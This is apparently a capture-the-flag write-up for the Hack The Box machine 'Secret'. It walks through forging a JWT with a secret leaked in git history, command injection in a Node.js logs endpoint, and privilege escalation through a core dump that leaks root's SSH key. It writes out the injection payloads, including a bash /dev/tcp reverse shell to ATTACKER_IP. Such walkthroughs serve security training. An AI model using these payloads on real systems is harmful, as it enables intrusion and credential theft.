Secret (HTB – Easy)

Secret combines a Node.js API vulnerable to JWT manipulation and command injection with a privilege escalation vector involving a core dump leak. By extracting the JWT secret from a local Git repository, forging an admin token, and abusing a vulnerable log endpoint, a shell is obtained. Privilege escalation is achieved by triggering a core dump and extracting the root SSH private key.

Overview

Target: secret.htb
Initial vector: JWT forgery → command injection
Privilege escalation: core dump → leaked root SSH key

Enumeration

Nmap:

22/tcp   ssh
80/tcp   http (nginx)
3000/tcp Node.js (Express)

Both ports 80 and 3000 host “DUMB Docs”. The API lives under:

/api
/api/user
/api/priv
/api/logs

API Registration & JWT

Create a user:

$ curl -s -X POST http://secret.htb:3000/api/user/register \
  -H "Content-Type: application/json" \
  -d '{"name":"whatever","email":"whatever@whatever.com","password":"whatever123"}'

Login:

$ curl -s -X POST http://secret.htb:3000/api/user/login \
  -H "Content-Type: application/json" \
  -d '{"email":"whatever@whatever.com","password":"whatever123"}'

The response contains a JWT. Decoding it on jwt.io shows the structure, but the secret is unknown.

Finding the JWT Secret

The main website offers a downloadable files.zip. Extract it:

$ unzip files.zip

Inside local-web/ is a Git repository:

$ git log
$ git show 

One commit reveals:

TOKEN_SECRET = "supersecretvalue"

Use this secret on jwt.io to forge a token for the user theadmin.

Command Injection – /api/logs

The endpoint /api/logs takes a file parameter and passes it to a shell command without sanitization.

Example test:

$ curl -s -X GET "http://secret.htb:3000/api/logs?file=/etc/passwd;whoami" \
  -H "auth-token: "

To obtain a reverse shell, URL‑encode a payload:

file=/etc/passwd;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/777 0>&1'

Listener:

$ nc -nlvp 777

Trigger the request and a shell is obtained as the application user.

Privilege Escalation – Core Dump Leak

A binary exists at:

/opt/count

Running it shows it tries to read /root/.ssh/id_rsa. Trigger a core dump:

$ ./count
Ctrl+Z
$ ps aux | grep count
$ kill -BUS 
$ fg
-> Bus error (core dumped)

Core dumps are stored in /var/crash:

$ ls -la /var/crash

Unpack the crash file:

$ apport-unpack /var/crash/.crash /tmp/dump

Extract strings:

$ strings /tmp/dump/CoreDump | grep -A5 -B5 "BEGIN OPENSSH PRIVATE KEY"

Copy the private key to your machine, save as id_rsa, and fix permissions:

$ chmod 600 id_rsa
$ ssh -i id_rsa root@secret.htb

Root access obtained.

Conclusion

Secret combines several classic vulnerabilities: JWT forgery due to leaked secrets, command injection in a Node.js API, and a privilege escalation path through a core dump containing sensitive data. By chaining these issues, full system compromise is achieved.